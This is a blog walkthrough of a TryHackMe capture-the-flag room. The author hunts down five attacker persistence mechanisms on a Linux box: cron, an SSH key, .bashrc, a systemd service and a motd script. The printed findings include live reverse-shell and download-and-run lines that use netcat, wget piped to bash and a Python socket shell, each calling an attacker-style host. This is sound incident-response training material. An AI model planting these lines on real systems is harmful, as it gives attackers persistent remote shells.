Challenges: Hide and Seek (TryHackMe)


The investigation began when a taunting note, for_specter.txt, was discovered on the compromised system. Its author, calling themselves Cipher, claimed to have left behind multiple persistence mechanisms hidden throughout the machine. The note provided cryptic hints, effectively challenging us to uncover each persistence implant or risk Cipher’s continued access.
To solve this, I leveraged manual analysis, open-source resources, and ChatGPT for interpreting the clues. Each hint led to specific persistence techniques commonly used by attackers, from cron jobs to login banners. This step-by-step breakdown shows how each clue mapped to an actual persistence artifact on the system.
A note was discovered on the compromised system, taunting us. It suggests multiple persistence mechanisms have been implanted, ensuring that Cipher can return whenever he pleases. Here’s the note:
Dear Specter,
I must say, it’s been a thrill dancing through your systems. You lock the doors; I pick the locks. You set up alarms; I waltz right past them. But today, my dear adversary, I’ve left you a little game.
I've sprinkled a few persistence implants across your system, like digital Easter eggs, and I’m giving you a sporting chance to find them. Each one has a clue because where’s the fun in a silent hack?
Time is on my side, always running like clockwork.
A secret handshake gets me in every time.
Whenever you set the stage, I make my entrance.
I run with the big dogs, booting up alongside the system.
I love welcome messages.
Find them all, and you might earn a little respect. Miss one, and well… let's say I’ll be back before you even realize I never left. Happy hunting, Specter. May the best ghost win.
- Cipher
cat for_specter.txt
Dear Specter,
I must say, it?s been a thrill dancing through your systems. You lock the doors, I pick the locks. You set up alarms, I waltz right past them. But today, my dear adversary, I?ve left you a little game.
I've sprinkled a few persistence implants across your system, like digital Easter eggs, and I?m giving you a sporting chance to find them. Each one has a clue, because where?s the fun in a silent hack?
- Time is on my side, always running like clockwork.
- A secret handshake gets me in every time.?
- Whenever you set the stage, I make my entrance.?
- I run with the big dogs, booting up alongside the system.?
- I love welcome messages.
Find them all, and you might just earn a little respect. Miss one, and well? let's just say I?ll be back before you even realize I never left.
Happy hunting, Phantom. May the best ghost win.
- Cipher
To solve this room I had to research a lot. ChatGPT came handy with some walkthrough: With ChatGPT I was able to get a breakdown of the 5 clues what each would mean and files and directories we would look around to find the flag. At first I got the 4th part but I wasn’t sure that what we were doing was right so when I came across a walkthrough I realized that whatever we were was right and I had to find each part, the clue analysis came handy and also hashing on Base64Decode and Cyberchef. So I’ll breakdown step by step:
Clue Analysis
“Time is on my side, always running like clockwork.”
Interpretation: Refers to scheduled or recurring tasks.
Persistence Method: Cron jobs or system task schedulers.
Evidence: Found
@reboot
cron entries launching VNC and websockify, ensuring attacker access every reboot.
“A secret handshake gets me in every time.”
Interpretation: Hints at backdoor authentication.
Persistence Method: SSH key injection.
Evidence: Malicious keys placed in
~/.ssh/authorized_keys
or/root/.ssh/
enable passwordless access.
“Whenever you set the stage, I make my entrance.”
Interpretation: Tied to user shell startup.
Persistence Method: Bash startup scripts like
~/.bashrc
or/etc/bash.bashrc
.Evidence: Attackers often insert reverse shells or malicious aliases, so every shell session runs their payload.
“I run with the big dogs, booting up alongside the system.”
Interpretation: Points to services launched during system boot.
Persistence Method: Systemd service units or legacy init scripts.
Evidence: Already confirmed via cron
@reboot
persistence, ensuring services restart automatically after reboot.
“I love welcome messages.”
Interpretation: Indicates login banners or user session welcome scripts.
Persistence Method:
/etc/motd
,/etc/update-motd.d/
, and sometimes~/.bashrc
or~/.profile
.Evidence: Ubuntu uses update-motd scripts, where attackers can embed payloads that trigger on user login.
# crontab -l
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').
#
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
#
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
#
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
#
# For more information see the manual pages of crontab(5) and cron(8)
#
# m h dom mon dow command
#@reboot sudo runuser -l ubuntu -c 'vncserver :1 -depth 24 -geometry 1900x1200'
#@reboot sudo python3 -m websockify 80 localhost:5901 -D
#@reboot sudo runuser -l ubuntu -c 'tigervncserver -xstartup /usr/bin/mate-session -SecurityTypes VncAuth,TLSVnc -depth 16 -geometry 1920x1080 -localhost no :1'
@reboot sudo runuser -l ubuntu -c 'tigervncserver -xstartup /usr/bin/mate-session -SecurityTypes VncAuth,TLSVnc -depth 16 -geometry 1920x1080 :1'
@reboot sudo python3 -m websockify 80 localhost:5901 -D
Part 1: Crontab
sudo crontab -l
Part 2: .ssh
Here we’re looking for .ssh/.authorized_keys
sudo su
root@tryhackme:/home/ubuntu# ls -la /home/zeroday
root@tryhackme:/home/ubuntu# ls -la /home/zeroday/.ssh
root@tryhackme:/home/ubuntu# cat /home/zeroday/.ssh/.authorized_keys
ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGigCKLtSqMcOfttFdDnNXfwKd5nH8Ws3hFNRmBDWxfvuaaC6h9zWishJVfr0xsyV0SSkMGPCuPLRU41ckvnGbA= 326e6420706172743a20755f6730745f.local
Part 3: .bashrc
grep -R --color -n "bash" /home/*/.bashrc /home/*/.profile 2>/dev/null
root@tryhackme:/home/ubuntu# grep -R --color -n "bash" /home/*/.bashrc /home/*/.profile 2>/dev/null
/home/phantom/.bashrc:1:# ~/.bashrc: executed by bash(1) for non-login shells.
/home/phantom/.bashrc:2:# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
/home/phantom/.bashrc:12:# See bash(1) for more options
/home/phantom/.bashrc:18:# for setting history length see HISTSIZE and HISTFILESIZE in bash(1)
/home/phantom/.bashrc:101:# ~/.bash_aliases, instead of adding them here directly.
/home/phantom/.bashrc:102:# See /usr/share/doc/bash-doc/examples in the bash-doc package.
/home/phantom/.bashrc:104:if [ -f ~/.bash_aliases ]; then
/home/phantom/.bashrc:105: . ~/.bash_aliases
/home/phantom/.bashrc:109:# this, if it's already enabled in /etc/bash.bashrc and /etc/profile
/home/phantom/.bashrc:110:# sources /etc/bash.bashrc).
/home/phantom/.bashrc:112: if [ -f /usr/share/bash-completion/bash_completion ]; then
/home/phantom/.bashrc:113: . /usr/share/bash-completion/bash_completion
/home/phantom/.bashrc:114: elif [ -f /etc/bash_completion ]; then
/home/phantom/.bashrc:115: . /etc/bash_completion
/home/sentinel/.bashrc:1:# ~/.bashrc: executed by bash(1) for non-login shells.
/home/sentinel/.bashrc:2:# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
/home/sentinel/.bashrc:12:# See bash(1) for more options
/home/sentinel/.bashrc:18:# for setting history length see HISTSIZE and HISTFILESIZE in bash(1)
/home/sentinel/.bashrc:101:# ~/.bash_aliases, instead of adding them here directly.
/home/sentinel/.bashrc:102:# See /usr/share/doc/bash-doc/examples in the bash-doc package.
/home/sentinel/.bashrc:104:if [ -f ~/.bash_aliases ]; then
/home/sentinel/.bashrc:105: . ~/.bash_aliases
/home/sentinel/.bashrc:109:# this, if it's already enabled in /etc/bash.bashrc and /etc/profile
/home/sentinel/.bashrc:110:# sources /etc/bash.bashrc).
/home/sentinel/.bashrc:112: if [ -f /usr/share/bash-completion/bash_completion ]; then
/home/sentinel/.bashrc:113: . /usr/share/bash-completion/bash_completion
/home/sentinel/.bashrc:114: elif [ -f /etc/bash_completion ]; then
/home/sentinel/.bashrc:115: . /etc/bash_completion
/home/specter/.bashrc:1:# ~/.bashrc: executed by bash(1) for non-login shells.
/home/specter/.bashrc:2:# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
/home/specter/.bashrc:12:# See bash(1) for more options
/home/specter/.bashrc:18:nc -e /bin/bash 4d334a6b58334130636e513649444e324d334a3564416f3d.cipher.io 443 2>/dev/null
/home/specter/.bashrc:20:# for setting history length see HISTSIZE and HISTFILESIZE in bash(1)
/home/specter/.bashrc:103:# ~/.bash_aliases, instead of adding them here directly.
/home/specter/.bashrc:104:# See /usr/share/doc/bash-doc/examples in the bash-doc package.
/home/specter/.bashrc:106:if [ -f ~/.bash_aliases ]; then
/home/specter/.bashrc:107: . ~/.bash_aliases
/home/specter/.bashrc:111:# this, if it's already enabled in /etc/bash.bashrc and /etc/profile
/home/specter/.bashrc:112:# sources /etc/bash.bashrc).
/home/specter/.bashrc:114: if [ -f /usr/share/bash-completion/bash_completion ]; then
/home/specter/.bashrc:115: . /usr/share/bash-completion/bash_completion
/home/specter/.bashrc:116: elif [ -f /etc/bash_completion ]; then
/home/specter/.bashrc:117: . /etc/bash_completion
/home/ubuntu/.bashrc:1:# ~/.bashrc: executed by bash(1) for non-login shells.
/home/ubuntu/.bashrc:2:# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
/home/ubuntu/.bashrc:12:# See bash(1) for more options
/home/ubuntu/.bashrc:18:# for setting history length see HISTSIZE and HISTFILESIZE in bash(1)
/home/ubuntu/.bashrc:101:# ~/.bash_aliases, instead of adding them here directly.
/home/ubuntu/.bashrc:102:# See /usr/share/doc/bash-doc/examples in the bash-doc package.
/home/ubuntu/.bashrc:104:if [ -f ~/.bash_aliases ]; then
/home/ubuntu/.bashrc:105: . ~/.bash_aliases
/home/ubuntu/.bashrc:109:# this, if it's already enabled in /etc/bash.bashrc and /etc/profile
/home/ubuntu/.bashrc:110:# sources /etc/bash.bashrc).
/home/ubuntu/.bashrc:112: if [ -f /usr/share/bash-completion/bash_completion ]; then
/home/ubuntu/.bashrc:113: . /usr/share/bash-completion/bash_completion
/home/ubuntu/.bashrc:114: elif [ -f /etc/bash_completion ]; then
/home/ubuntu/.bashrc:115: . /etc/bash_completion
/home/void/.bashrc:1:# ~/.bashrc: executed by bash(1) for non-login shells.
/home/void/.bashrc:2:# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
/home/void/.bashrc:12:# See bash(1) for more options
/home/void/.bashrc:18:# for setting history length see HISTSIZE and HISTFILESIZE in bash(1)
/home/void/.bashrc:101:# ~/.bash_aliases, instead of adding them here directly.
/home/void/.bashrc:102:# See /usr/share/doc/bash-doc/examples in the bash-doc package.
/home/void/.bashrc:104:if [ -f ~/.bash_aliases ]; then
/home/void/.bashrc:105: . ~/.bash_aliases
/home/void/.bashrc:109:# this, if it's already enabled in /etc/bash.bashrc and /etc/profile
/home/void/.bashrc:110:# sources /etc/bash.bashrc).
/home/void/.bashrc:112: if [ -f /usr/share/bash-completion/bash_completion ]; then
/home/void/.bashrc:113: . /usr/share/bash-completion/bash_completion
/home/void/.bashrc:114: elif [ -f /etc/bash_completion ]; then
/home/void/.bashrc:115: . /etc/bash_completion
/home/zeroday/.bashrc:1:# ~/.bashrc: executed by bash(1) for non-login shells.
/home/zeroday/.bashrc:2:# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
/home/zeroday/.bashrc:12:# See bash(1) for more options
/home/zeroday/.bashrc:18:# for setting history length see HISTSIZE and HISTFILESIZE in bash(1)
/home/zeroday/.bashrc:101:# ~/.bash_aliases, instead of adding them here directly.
/home/zeroday/.bashrc:102:# See /usr/share/doc/bash-doc/examples in the bash-doc package.
/home/zeroday/.bashrc:104:if [ -f ~/.bash_aliases ]; then
/home/zeroday/.bashrc:105: . ~/.bash_aliases
/home/zeroday/.bashrc:109:# this, if it's already enabled in /etc/bash.bashrc and /etc/profile
/home/zeroday/.bashrc:110:# sources /etc/bash.bashrc).
/home/zeroday/.bashrc:112: if [ -f /usr/share/bash-completion/bash_completion ]; then
/home/zeroday/.bashrc:113: . /usr/share/bash-completion/bash_completion
/home/zeroday/.bashrc:114: elif [ -f /etc/bash_completion ]; then
/home/zeroday/.bashrc:115: . /etc/bash_completion
/home/phantom/.profile:2:# This file is not read by bash(1), if ~/.bash_profile or ~/.bash_login
/home/phantom/.profile:4:# see /usr/share/doc/bash/examples/startup-files for examples.
/home/phantom/.profile:5:# the files are located in the bash-doc package.
/home/phantom/.profile:11:# if running bash
/home/phantom/.profile:13: # include .bashrc if it exists
/home/phantom/.profile:14: if [ -f "$HOME/.bashrc" ]; then
/home/phantom/.profile:15: . "$HOME/.bashrc"
/home/sentinel/.profile:2:# This file is not read by bash(1), if ~/.bash_profile or ~/.bash_login
/home/sentinel/.profile:4:# see /usr/share/doc/bash/examples/startup-files for examples.
/home/sentinel/.profile:5:# the files are located in the bash-doc package.
/home/sentinel/.profile:11:# if running bash
/home/sentinel/.profile:13: # include .bashrc if it exists
/home/sentinel/.profile:14: if [ -f "$HOME/.bashrc" ]; then
/home/sentinel/.profile:15: . "$HOME/.bashrc"
/home/specter/.profile:2:# This file is not read by bash(1), if ~/.bash_profile or ~/.bash_login
/home/specter/.profile:4:# see /usr/share/doc/bash/examples/startup-files for examples.
/home/specter/.profile:5:# the files are located in the bash-doc package.
/home/specter/.profile:11:# if running bash
/home/specter/.profile:13: # include .bashrc if it exists
/home/specter/.profile:14: if [ -f "$HOME/.bashrc" ]; then
/home/specter/.profile:15: . "$HOME/.bashrc"
/home/ubuntu/.profile:2:# This file is not read by bash(1), if ~/.bash_profile or ~/.bash_login
/home/ubuntu/.profile:4:# see /usr/share/doc/bash/examples/startup-files for examples.
/home/ubuntu/.profile:5:# the files are located in the bash-doc package.
/home/ubuntu/.profile:11:# if running bash
/home/ubuntu/.profile:13: # include .bashrc if it exists
/home/ubuntu/.profile:14: if [ -f "$HOME/.bashrc" ]; then
/home/ubuntu/.profile:15: . "$HOME/.bashrc"
/home/void/.profile:2:# This file is not read by bash(1), if ~/.bash_profile or ~/.bash_login
/home/void/.profile:4:# see /usr/share/doc/bash/examples/startup-files for examples.
/home/void/.profile:5:# the files are located in the bash-doc package.
/home/void/.profile:11:# if running bash
/home/void/.profile:13: # include .bashrc if it exists
/home/void/.profile:14: if [ -f "$HOME/.bashrc" ]; then
/home/void/.profile:15: . "$HOME/.bashrc"
/home/zeroday/.profile:2:# This file is not read by bash(1), if ~/.bash_profile or ~/.bash_login
/home/zeroday/.profile:4:# see /usr/share/doc/bash/examples/startup-files for examples.
/home/zeroday/.profile:5:# the files are located in the bash-doc package.
/home/zeroday/.profile:11:# if running bash
/home/zeroday/.profile:13: # include .bashrc if it exists
/home/zeroday/.profile:14: if [ -f "$HOME/.bashrc" ]; then
/home/zeroday/.profile:15: . "$HOME/.bashrc"
/home/specter/.bashrc:18:nc -e /bin/bash
4d334a6b58334130636e513649444e324d334a3564416f3d.cipher.io
443 2>/dev/null
Part 4: systemd
systemctl list-units --type=service --all
systemctl cat cipher.service
# /usr/lib/systemd/system/cipher.service
[Unit]
Description=Safe Cipher Service
[Service]
ExecStart=/bin/bash -c 'wget NHRoIHBhcnQgLSBoMW5nXyAK.s1mpl3bd.com --output - | bash 2>/dev/null'
[Install]
WantedBy=multi-user.target
Alias=cipher.service
Part 5: motd.d
Had to look around for the motd.d
and also what the other profiles like phantom and void had on their .profile and .bashrc files but later relealised that we had a /etc/update-motd.d
director that had other files.
root@tryhackme:/home/ubuntu# cat /home/phantom/.bashrc
cat /etc/update-motd.d/00-header
#!/bin/sh
#
# 00-header - create the header of the MOTD
# Copyright (C) 2009-2010 Canonical Ltd.
#
# Authors: Dustin Kirkland <kirkland@canonical.com>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along
# with this program; if not, write to the Free Software Foundation, Inc.,
# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
[ -r /etc/lsb-release ] && . /etc/lsb-release
if [ -z "$DISTRIB_DESCRIPTION" ] && [ -x /usr/bin/lsb_release ]; then
# Fall back to using the very slow lsb_release utility
DISTRIB_DESCRIPTION=$(lsb_release -s -d)
fi
python3 -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("4c61737420706172743a206430776e7d0.h1dd3nd00r.n3t",)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);' 2>/dev/null
printf "Welcome to %s (%s %s %s)\\n" "$DISTRIB_DESCRIPTION" "$(uname -o)" "$(uname -r)" "$(uname -m)"
root@tryhackme:/home/ubuntu#
This challenge highlighted how attackers often layer multiple persistence methods to ensure survival even after partial remediation. It reinforced the importance of thorough log analysis, configuration reviews, and knowledge of Linux persistence mechanisms. With all persistence points identified and removed, the system could finally be considered secure again.
Subscribe to my newsletter
Read articles from Jebitok directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by

Jebitok
Jebitok
Software Developer | Learning Cybersecurity | Open for roles * If you're in the early stages of your career in software development (student or still looking for an entry-level role) and in need of mentorship, you can reach out to me.